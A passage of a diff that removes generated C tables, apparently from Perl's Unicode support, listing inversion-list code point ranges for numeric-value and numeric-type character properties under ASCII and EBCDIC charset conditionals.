0x2080, - 0x208A, - 0x2460, - 0x2469, - 0x2474, - 0x247D, - 0x2488, - 0x2491, - 0x24EA, - 0x24EB, - 0x24F5, - 0x24FE, - 0x24FF, - 0x2500, - 0x2776, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x10A40, - 0x10A44, - 0x10E60, - 0x10E69, - 0x11052, - 0x1105B, - 0x1F100, - 0x1F10B -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NT__NU_invlist[] = { /* for ASCII/Latin1 */ - 281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBC, - 0xBF, - 0x9F4, - 0x9FA, - 0xB72, - 0xB78, - 0xBF0, - 0xBF3, - 0xC78, - 0xC7F, - 0xD58, - 0xD5F, - 0xD70, - 0xD79, - 0xF2A, - 0xF34, - 0x1372, - 0x137D, - 0x16EE, - 0x16F1, - 0x17F0, - 0x17FA, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2469, - 0x2474, - 0x247D, - 0x2488, - 0x2491, - 0x249C, - 0x24EB, - 0x24F5, - 0x24FE, - 0x24FF, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x3405, - 0x3406, - 0x3483, - 0x3484, - 0x382A, - 0x382B, - 0x3B4D, - 0x3B4E, - 0x4E00, - 0x4E01, - 0x4E03, - 0x4E04, - 0x4E07, - 0x4E08, - 0x4E09, - 0x4E0A, - 0x4E5D, - 0x4E5E, - 0x4E8C, - 0x4E8D, - 0x4E94, - 0x4E95, - 0x4E96, - 0x4E97, - 0x4EBF, - 0x4EC1, - 0x4EDF, - 0x4EE0, - 0x4EE8, - 0x4EE9, - 0x4F0D, - 0x4F0E, - 0x4F70, - 0x4F71, - 0x5104, - 0x5105, - 0x5146, - 0x5147, - 0x5169, - 0x516A, - 0x516B, - 0x516C, - 0x516D, - 0x516E, - 0x5341, - 0x5342, - 0x5343, - 0x5346, - 0x534C, - 0x534D, - 0x53C1, - 0x53C5, - 0x56DB, - 0x56DC, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5EFE, - 0x5F00, - 0x5F0C, - 0x5F0F, - 0x5F10, - 0x5F11, - 0x62FE, - 0x62FF, - 0x634C, - 0x634D, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0x7396, - 0x7397, - 0x767E, - 0x767F, - 0x8086, - 0x8087, - 0x842C, - 0x842D, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0x9621, - 0x9622, - 0x9646, - 0x9647, - 0x964C, - 0x964D, - 0x9678, - 0x9679, - 0x96F6, - 0x96F7, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xF96B, - 0xF96C, - 0xF973, - 0xF974, - 0xF978, - 0xF979, - 0xF9B2, - 0xF9B3, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9FD, - 0xF9FE, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A44, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E69, - 0x10E7F, - 0x1105B, - 0x11066, - 0x111E1, - 0x111F5, - 0x1173A, - 0x1173C, - 0x118EA, - 0x118F3, - 0x11C5A, - 0x11C6D, - 0x12400, - 0x1246F, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1E8C7, - 0x1E8D0, - 0x1F10B, - 0x1F10D, - 0x20001, - 0x20002, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x20121, - 0x20122, - 0x2092A, - 0x2092B, - 0x20983, - 0x20984, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D, - 0x20AEA, - 0x20AEB, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22390, - 0x22391, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C, - 0x2626D, - 0x2626E, - 0x2F890, - 0x2F891 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NT__NU_invlist[] = { /* for EBCDIC 1047 */ - 281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0x9F4, - 0x9FA, - 0xB72, - 0xB78, - 0xBF0, - 0xBF3, - 0xC78, - 0xC7F, - 0xD58, - 0xD5F, - 0xD70, - 0xD79, - 0xF2A, - 0xF34, - 0x1372, - 0x137D, - 0x16EE, - 0x16F1, - 0x17F0, - 0x17FA, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2469, - 0x2474, - 0x247D, - 0x2488, - 0x2491, - 0x249C, - 0x24EB, - 0x24F5, - 0x24FE, - 0x24FF, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x3405, - 0x3406, - 0x3483, - 0x3484, - 0x382A, - 0x382B, - 0x3B4D, - 0x3B4E, - 0x4E00, - 0x4E01, - 0x4E03, - 0x4E04, - 0x4E07, - 0x4E08, - 0x4E09, - 0x4E0A, - 0x4E5D, - 0x4E5E, - 0x4E8C, - 0x4E8D, - 0x4E94, - 0x4E95, - 0x4E96, - 0x4E97, - 0x4EBF, - 0x4EC1, - 0x4EDF, - 0x4EE0, - 0x4EE8, - 0x4EE9, - 0x4F0D, - 0x4F0E, - 0x4F70, - 0x4F71, - 0x5104, - 0x5105, - 0x5146, - 0x5147, - 0x5169, - 0x516A, - 0x516B, - 0x516C, - 0x516D, - 0x516E, - 0x5341, - 0x5342, - 0x5343, - 0x5346, - 0x534C, - 0x534D, - 0x53C1, - 0x53C5, - 0x56DB, - 0x56DC, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5EFE, - 0x5F00, - 0x5F0C, - 0x5F0F, - 0x5F10, - 0x5F11, - 0x62FE, - 0x62FF, - 0x634C, - 0x634D, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0x7396, - 0x7397, - 0x767E, - 0x767F, - 0x8086, - 0x8087, - 0x842C, - 0x842D, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0x9621, - 0x9622, - 0x9646, - 0x9647, - 0x964C, - 0x964D, - 0x9678, - 0x9679, - 0x96F6, - 0x96F7, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xF96B, - 0xF96C, - 0xF973, - 0xF974, - 0xF978, - 0xF979, - 0xF9B2, - 0xF9B3, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9FD, - 0xF9FE, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A44, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E69, - 0x10E7F, - 0x1105B, - 0x11066, - 0x111E1, - 0x111F5, - 0x1173A, - 0x1173C, - 0x118EA, - 0x118F3, - 0x11C5A, - 0x11C6D, - 0x12400, - 0x1246F, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1E8C7, - 0x1E8D0, - 0x1F10B, - 0x1F10D, - 0x20001, - 0x20002, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x20121, - 0x20122, - 0x2092A, - 0x2092B, - 0x20983, - 0x20984, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D, - 0x20AEA, - 0x20AEB, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22390, - 0x22391, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C, - 0x2626D, - 0x2626E, - 0x2F890, - 0x2F891 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NT__NU_invlist[] = { /* for EBCDIC 037 */ - 281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB7, - 0xBA, - 0x9F4, - 0x9FA, - 0xB72, - 0xB78, - 0xBF0, - 0xBF3, - 0xC78, - 0xC7F, - 0xD58, - 0xD5F, - 0xD70, - 0xD79, - 0xF2A, - 0xF34, - 0x1372, - 0x137D, - 0x16EE, - 0x16F1, - 0x17F0, - 0x17FA, - 0x2150, - 0x2183, - 0x2185, - 0x218A, - 0x2469, - 0x2474, - 0x247D, - 0x2488, - 0x2491, - 0x249C, - 0x24EB, - 0x24F5, - 0x24FE, - 0x24FF, - 0x277F, - 0x2780, - 0x2789, - 0x278A, - 0x2793, - 0x2794, - 0x2CFD, - 0x2CFE, - 0x3007, - 0x3008, - 0x3021, - 0x302A, - 0x3038, - 0x303B, - 0x3192, - 0x3196, - 0x3220, - 0x322A, - 0x3248, - 0x3250, - 0x3251, - 0x3260, - 0x3280, - 0x328A, - 0x32B1, - 0x32C0, - 0x3405, - 0x3406, - 0x3483, - 0x3484, - 0x382A, - 0x382B, - 0x3B4D, - 0x3B4E, - 0x4E00, - 0x4E01, - 0x4E03, - 0x4E04, - 0x4E07, - 0x4E08, - 0x4E09, - 0x4E0A, - 0x4E5D, - 0x4E5E, - 0x4E8C, - 0x4E8D, - 0x4E94, - 0x4E95, - 0x4E96, - 0x4E97, - 0x4EBF, - 0x4EC1, - 0x4EDF, - 0x4EE0, - 0x4EE8, - 0x4EE9, - 0x4F0D, - 0x4F0E, - 0x4F70, - 0x4F71, - 0x5104, - 0x5105, - 0x5146, - 0x5147, - 0x5169, - 0x516A, - 0x516B, - 0x516C, - 0x516D, - 0x516E, - 0x5341, - 0x5342, - 0x5343, - 0x5346, - 0x534C, - 0x534D, - 0x53C1, - 0x53C5, - 0x56DB, - 0x56DC, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5EFE, - 0x5F00, - 0x5F0C, - 0x5F0F, - 0x5F10, - 0x5F11, - 0x62FE, - 0x62FF, - 0x634C, - 0x634D, - 0x67D2, - 0x67D3, - 0x6F06, - 0x6F07, - 0x7396, - 0x7397, - 0x767E, - 0x767F, - 0x8086, - 0x8087, - 0x842C, - 0x842D, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0x9621, - 0x9622, - 0x9646, - 0x9647, - 0x964C, - 0x964D, - 0x9678, - 0x9679, - 0x96F6, - 0x96F7, - 0xA6E6, - 0xA6F0, - 0xA830, - 0xA836, - 0xF96B, - 0xF96C, - 0xF973, - 0xF974, - 0xF978, - 0xF979, - 0xF9B2, - 0xF9B3, - 0xF9D1, - 0xF9D2, - 0xF9D3, - 0xF9D4, - 0xF9FD, - 0xF9FE, - 0x10107, - 0x10134, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x102E1, - 0x102FC, - 0x10320, - 0x10324, - 0x10341, - 0x10342, - 0x1034A, - 0x1034B, - 0x103D1, - 0x103D6, - 0x10858, - 0x10860, - 0x10879, - 0x10880, - 0x108A7, - 0x108B0, - 0x108FB, - 0x10900, - 0x10916, - 0x1091C, - 0x109BC, - 0x109BE, - 0x109C0, - 0x109D0, - 0x109D2, - 0x10A00, - 0x10A44, - 0x10A48, - 0x10A7D, - 0x10A7F, - 0x10A9D, - 0x10AA0, - 0x10AEB, - 0x10AF0, - 0x10B58, - 0x10B60, - 0x10B78, - 0x10B80, - 0x10BA9, - 0x10BB0, - 0x10CFA, - 0x10D00, - 0x10E69, - 0x10E7F, - 0x1105B, - 0x11066, - 0x111E1, - 0x111F5, - 0x1173A, - 0x1173C, - 0x118EA, - 0x118F3, - 0x11C5A, - 0x11C6D, - 0x12400, - 0x1246F, - 0x16B5B, - 0x16B62, - 0x1D360, - 0x1D372, - 0x1E8C7, - 0x1E8D0, - 0x1F10B, - 0x1F10D, - 0x20001, - 0x20002, - 0x20064, - 0x20065, - 0x200E2, - 0x200E3, - 0x20121, - 0x20122, - 0x2092A, - 0x2092B, - 0x20983, - 0x20984, - 0x2098C, - 0x2098D, - 0x2099C, - 0x2099D, - 0x20AEA, - 0x20AEB, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22390, - 0x22391, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C, - 0x2626D, - 0x2626E, - 0x2F890, - 0x2F891 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NUMBERFORMS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2150, - 0x2190 -}; - -static const UV PL_NV___MINUS_1_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF33, - 0xF34 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__0_invlist[] = { /* for ASCII/Latin1 */ - 147, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x31, - 0x660, - 0x661, - 0x6F0, - 0x6F1, - 0x7C0, - 0x7C1, - 0x966, - 0x967, - 0x9E6, - 0x9E7, - 0xA66, - 0xA67, - 0xAE6, - 0xAE7, - 0xB66, - 0xB67, - 0xBE6, - 0xBE7, - 0xC66, - 0xC67, - 0xC78, - 0xC79, - 0xCE6, - 0xCE7, - 0xD66, - 0xD67, - 0xDE6, - 0xDE7, - 0xE50, - 0xE51, - 0xED0, - 0xED1, - 0xF20, - 0xF21, - 0x1040, - 0x1041, - 0x1090, - 0x1091, - 0x17E0, - 0x17E1, - 0x17F0, - 0x17F1, - 0x1810, - 0x1811, - 0x1946, - 0x1947, - 0x19D0, - 0x19D1, - 0x1A80, - 0x1A81, - 0x1A90, - 0x1A91, - 0x1B50, - 0x1B51, - 0x1BB0, - 0x1BB1, - 0x1C40, - 0x1C41, - 0x1C50, - 0x1C51, - 0x2070, - 0x2071, - 0x2080, - 0x2081, - 0x2189, - 0x218A, - 0x24EA, - 0x24EB, - 0x24FF, - 0x2500, - 0x3007, - 0x3008, - 0x96F6, - 0x96F7, - 0xA620, - 0xA621, - 0xA6EF, - 0xA6F0, - 0xA8D0, - 0xA8D1, - 0xA900, - 0xA901, - 0xA9D0, - 0xA9D1, - 0xA9F0, - 0xA9F1, - 0xAA50, - 0xAA51, - 0xABF0, - 0xABF1, - 0xF9B2, - 0xF9B3, - 0xFF10, - 0xFF11, - 0x1018A, - 0x1018B, - 0x104A0, - 0x104A1, - 0x11066, - 0x11067, - 0x110F0, - 0x110F1, - 0x11136, - 0x11137, - 0x111D0, - 0x111D1, - 0x112F0, - 0x112F1, - 0x11450, - 0x11451, - 0x114D0, - 0x114D1, - 0x11650, - 0x11651, - 0x116C0, - 0x116C1, - 0x11730, - 0x11731, - 0x118E0, - 0x118E1, - 0x11C50, - 0x11C51, - 0x11D50, - 0x11D51, - 0x16A60, - 0x16A61, - 0x16B50, - 0x16B51, - 0x1D7CE, - 0x1D7CF, - 0x1D7D8, - 0x1D7D9, - 0x1D7E2, - 0x1D7E3, - 0x1D7EC, - 0x1D7ED, - 0x1D7F6, - 0x1D7F7, - 0x1E950, - 0x1E951, - 0x1F100, - 0x1F102, - 0x1F10B, - 0x1F10D -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__0_invlist[] = { /* for EBCDIC 1047 */ - 147, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xF1, - 0x660, - 0x661, - 0x6F0, - 0x6F1, - 0x7C0, - 0x7C1, - 0x966, - 0x967, - 0x9E6, - 0x9E7, - 0xA66, - 0xA67, - 0xAE6, - 0xAE7, - 0xB66, - 0xB67, - 0xBE6, - 0xBE7, - 0xC66, - 0xC67, - 0xC78, - 0xC79, - 0xCE6, - 0xCE7, - 0xD66, - 0xD67, - 0xDE6, - 0xDE7, - 0xE50, - 0xE51, - 0xED0, - 0xED1, - 0xF20, - 0xF21, - 0x1040, - 0x1041, - 0x1090, - 0x1091, - 0x17E0, - 0x17E1, - 0x17F0, - 0x17F1, - 0x1810, - 0x1811, - 0x1946, - 0x1947, - 0x19D0, - 0x19D1, - 0x1A80, - 0x1A81, - 0x1A90, - 0x1A91, - 0x1B50, - 0x1B51, - 0x1BB0, - 0x1BB1, - 0x1C40, - 0x1C41, - 0x1C50, - 0x1C51, - 0x2070, - 0x2071, - 0x2080, - 0x2081, - 0x2189, - 0x218A, - 0x24EA, - 0x24EB, - 0x24FF, - 0x2500, - 0x3007, - 0x3008, - 0x96F6, - 0x96F7, - 0xA620, - 0xA621, - 0xA6EF, - 0xA6F0, - 0xA8D0, - 0xA8D1, - 0xA900, - 0xA901, - 0xA9D0, - 0xA9D1, - 0xA9F0, - 0xA9F1, - 0xAA50, - 0xAA51, - 0xABF0, - 0xABF1, - 0xF9B2, - 0xF9B3, - 0xFF10, - 0xFF11, - 0x1018A, - 0x1018B, - 0x104A0, - 0x104A1, - 0x11066, - 0x11067, - 0x110F0, - 0x110F1, - 0x11136, - 0x11137, - 0x111D0, - 0x111D1, - 0x112F0, - 0x112F1, - 0x11450, - 0x11451, - 0x114D0, - 0x114D1, - 0x11650, - 0x11651, - 0x116C0, - 0x116C1, - 0x11730, - 0x11731, - 0x118E0, - 0x118E1, - 0x11C50, - 0x11C51, - 0x11D50, - 0x11D51, - 0x16A60, - 0x16A61, - 0x16B50, - 0x16B51, - 0x1D7CE, - 0x1D7CF, - 0x1D7D8, - 0x1D7D9, - 0x1D7E2, - 0x1D7E3, - 0x1D7EC, - 0x1D7ED, - 0x1D7F6, - 0x1D7F7, - 0x1E950, - 0x1E951, - 0x1F100, - 0x1F102, - 0x1F10B, - 0x1F10D -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__0_invlist[] = { /* for EBCDIC 037 */ - 147, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xF1, - 0x660, - 0x661, - 0x6F0, - 0x6F1, - 0x7C0, - 0x7C1, - 0x966, - 0x967, - 0x9E6, - 0x9E7, - 0xA66, - 0xA67, - 0xAE6, - 0xAE7, - 0xB66, - 0xB67, - 0xBE6, - 0xBE7, - 0xC66, - 0xC67, - 0xC78, - 0xC79, - 0xCE6, - 0xCE7, - 0xD66, - 0xD67, - 0xDE6, - 0xDE7, - 0xE50, - 0xE51, - 0xED0, - 0xED1, - 0xF20, - 0xF21, - 0x1040, - 0x1041, - 0x1090, - 0x1091, - 0x17E0, - 0x17E1, - 0x17F0, - 0x17F1, - 0x1810, - 0x1811, - 0x1946, - 0x1947, - 0x19D0, - 0x19D1, - 0x1A80, - 0x1A81, - 0x1A90, - 0x1A91, - 0x1B50, - 0x1B51, - 0x1BB0, - 0x1BB1, - 0x1C40, - 0x1C41, - 0x1C50, - 0x1C51, - 0x2070, - 0x2071, - 0x2080, - 0x2081, - 0x2189, - 0x218A, - 0x24EA, - 0x24EB, - 0x24FF, - 0x2500, - 0x3007, - 0x3008, - 0x96F6, - 0x96F7, - 0xA620, - 0xA621, - 0xA6EF, - 0xA6F0, - 0xA8D0, - 0xA8D1, - 0xA900, - 0xA901, - 0xA9D0, - 0xA9D1, - 0xA9F0, - 0xA9F1, - 0xAA50, - 0xAA51, - 0xABF0, - 0xABF1, - 0xF9B2, - 0xF9B3, - 0xFF10, - 0xFF11, - 0x1018A, - 0x1018B, - 0x104A0, - 0x104A1, - 0x11066, - 0x11067, - 0x110F0, - 0x110F1, - 0x11136, - 0x11137, - 0x111D0, - 0x111D1, - 0x112F0, - 0x112F1, - 0x11450, - 0x11451, - 0x114D0, - 0x114D1, - 0x11650, - 0x11651, - 0x116C0, - 0x116C1, - 0x11730, - 0x11731, - 0x118E0, - 0x118E1, - 0x11C50, - 0x11C51, - 0x11D50, - 0x11D51, - 0x16A60, - 0x16A61, - 0x16B50, - 0x16B51, - 0x1D7CE, - 0x1D7CF, - 0x1D7D8, - 0x1D7D9, - 0x1D7E2, - 0x1D7E3, - 0x1D7EC, - 0x1D7ED, - 0x1D7F6, - 0x1D7F7, - 0x1E950, - 0x1E951, - 0x1F100, - 0x1F102, - 0x1F10B, - 0x1F10D -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__1_invlist[] = { /* for ASCII/Latin1 */ - 239, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x31, - 0x32, - 0xB9, - 0xBA, - 0x661, - 0x662, - 0x6F1, - 0x6F2, - 0x7C1, - 0x7C2, - 0x967, - 0x968, - 0x9E7, - 0x9E8, - 0xA67, - 0xA68, - 0xAE7, - 0xAE8, - 0xB67, - 0xB68, - 0xBE7, - 0xBE8, - 0xC67, - 0xC68, - 0xC79, - 0xC7A, - 0xC7C, - 0xC7D, - 0xCE7, - 0xCE8, - 0xD67, - 0xD68, - 0xDE7, - 0xDE8, - 0xE51, - 0xE52, - 0xED1, - 0xED2, - 0xF21, - 0xF22, - 0x1041, - 0x1042, - 0x1091, - 0x1092, - 0x1369, - 0x136A, - 0x17E1, - 0x17E2, - 0x17F1, - 0x17F2, - 0x1811, - 0x1812, - 0x1947, - 0x1948, - 0x19D1, - 0x19D2, - 0x19DA, - 0x19DB, - 0x1A81, - 0x1A82, - 0x1A91, - 0x1A92, - 0x1B51, - 0x1B52, - 0x1BB1, - 0x1BB2, - 0x1C41, - 0x1C42, - 0x1C51, - 0x1C52, - 0x2081, - 0x2082, - 0x215F, - 0x2161, - 0x2170, - 0x2171, - 0x2460, - 0x2461, - 0x2474, - 0x2475, - 0x2488, - 0x2489, - 0x24F5, - 0x24F6, - 0x2776, - 0x2777, - 0x2780, - 0x2781, - 0x278A, - 0x278B, - 0x3021, - 0x3022, - 0x3192, - 0x3193, - 0x3220, - 0x3221, - 0x3280, - 0x3281, - 0x4E00, - 0x4E01, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5F0C, - 0x5F0D, - 0xA621, - 0xA622, - 0xA6E6, - 0xA6E7, - 0xA8D1, - 0xA8D2, - 0xA901, - 0xA902, - 0xA9D1, - 0xA9D2, - 0xA9F1, - 0xA9F2, - 0xAA51, - 0xAA52, - 0xABF1, - 0xABF2, - 0xFF11, - 0xFF12, - 0x10107, - 0x10108, - 0x10142, - 0x10143, - 0x10158, - 0x1015B, - 0x102E1, - 0x102E2, - 0x10320, - 0x10321, - 0x103D1, - 0x103D2, - 0x104A1, - 0x104A2, - 0x10858, - 0x10859, - 0x10879, - 0x1087A, - 0x108A7, - 0x108A8, - 0x108FB, - 0x108FC, - 0x10916, - 0x10917, - 0x109C0, - 0x109C1, - 0x10A40, - 0x10A41, - 0x10A7D, - 0x10A7E, - 0x10A9D, - 0x10A9E, - 0x10AEB, - 0x10AEC, - 0x10B58, - 0x10B59, - 0x10B78, - 0x10B79, - 0x10BA9, - 0x10BAA, - 0x10CFA, - 0x10CFB, - 0x10E60, - 0x10E61, - 0x11052, - 0x11053, - 0x11067, - 0x11068, - 0x110F1, - 0x110F2, - 0x11137, - 0x11138, - 0x111D1, - 0x111D2, - 0x111E1, - 0x111E2, - 0x112F1, - 0x112F2, - 0x11451, - 0x11452, - 0x114D1, - 0x114D2, - 0x11651, - 0x11652, - 0x116C1, - 0x116C2, - 0x11731, - 0x11732, - 0x118E1, - 0x118E2, - 0x11C51, - 0x11C52, - 0x11C5A, - 0x11C5B, - 0x11D51, - 0x11D52, - 0x12415, - 0x12416, - 0x1241E, - 0x1241F, - 0x1242C, - 0x1242D, - 0x12434, - 0x12435, - 0x1244F, - 0x12450, - 0x12458, - 0x12459, - 0x16A61, - 0x16A62, - 0x16B51, - 0x16B52, - 0x1D360, - 0x1D361, - 0x1D7CF, - 0x1D7D0, - 0x1D7D9, - 0x1D7DA, - 0x1D7E3, - 0x1D7E4, - 0x1D7ED, - 0x1D7EE, - 0x1D7F7, - 0x1D7F8, - 0x1E8C7, - 0x1E8C8, - 0x1E951, - 0x1E952, - 0x1F102, - 0x1F103, - 0x2092A, - 0x2092B -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__1_invlist[] = { /* for EBCDIC 1047 */ - 239, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xDA, - 0xDB, - 0xF1, - 0xF2, - 0x661, - 0x662, - 0x6F1, - 0x6F2, - 0x7C1, - 0x7C2, - 0x967, - 0x968, - 0x9E7, - 0x9E8, - 0xA67, - 0xA68, - 0xAE7, - 0xAE8, - 0xB67, - 0xB68, - 0xBE7, - 0xBE8, - 0xC67, - 0xC68, - 0xC79, - 0xC7A, - 0xC7C, - 0xC7D, - 0xCE7, - 0xCE8, - 0xD67, - 0xD68, - 0xDE7, - 0xDE8, - 0xE51, - 0xE52, - 0xED1, - 0xED2, - 0xF21, - 0xF22, - 0x1041, - 0x1042, - 0x1091, - 0x1092, - 0x1369, - 0x136A, - 0x17E1, - 0x17E2, - 0x17F1, - 0x17F2, - 0x1811, - 0x1812, - 0x1947, - 0x1948, - 0x19D1, - 0x19D2, - 0x19DA, - 0x19DB, - 0x1A81, - 0x1A82, - 0x1A91, - 0x1A92, - 0x1B51, - 0x1B52, - 0x1BB1, - 0x1BB2, - 0x1C41, - 0x1C42, - 0x1C51, - 0x1C52, - 0x2081, - 0x2082, - 0x215F, - 0x2161, - 0x2170, - 0x2171, - 0x2460, - 0x2461, - 0x2474, - 0x2475, - 0x2488, - 0x2489, - 0x24F5, - 0x24F6, - 0x2776, - 0x2777, - 0x2780, - 0x2781, - 0x278A, - 0x278B, - 0x3021, - 0x3022, - 0x3192, - 0x3193, - 0x3220, - 0x3221, - 0x3280, - 0x3281, - 0x4E00, - 0x4E01, - 0x58F1, - 0x58F2, - 0x58F9, - 0x58FA, - 0x5E7A, - 0x5E7B, - 0x5F0C, - 0x5F0D, - 0xA621, - 0xA622, - 0xA6E6, - 0xA6E7, - 0xA8D1, - 0xA8D2, - 0xA901, - 0xA902, - 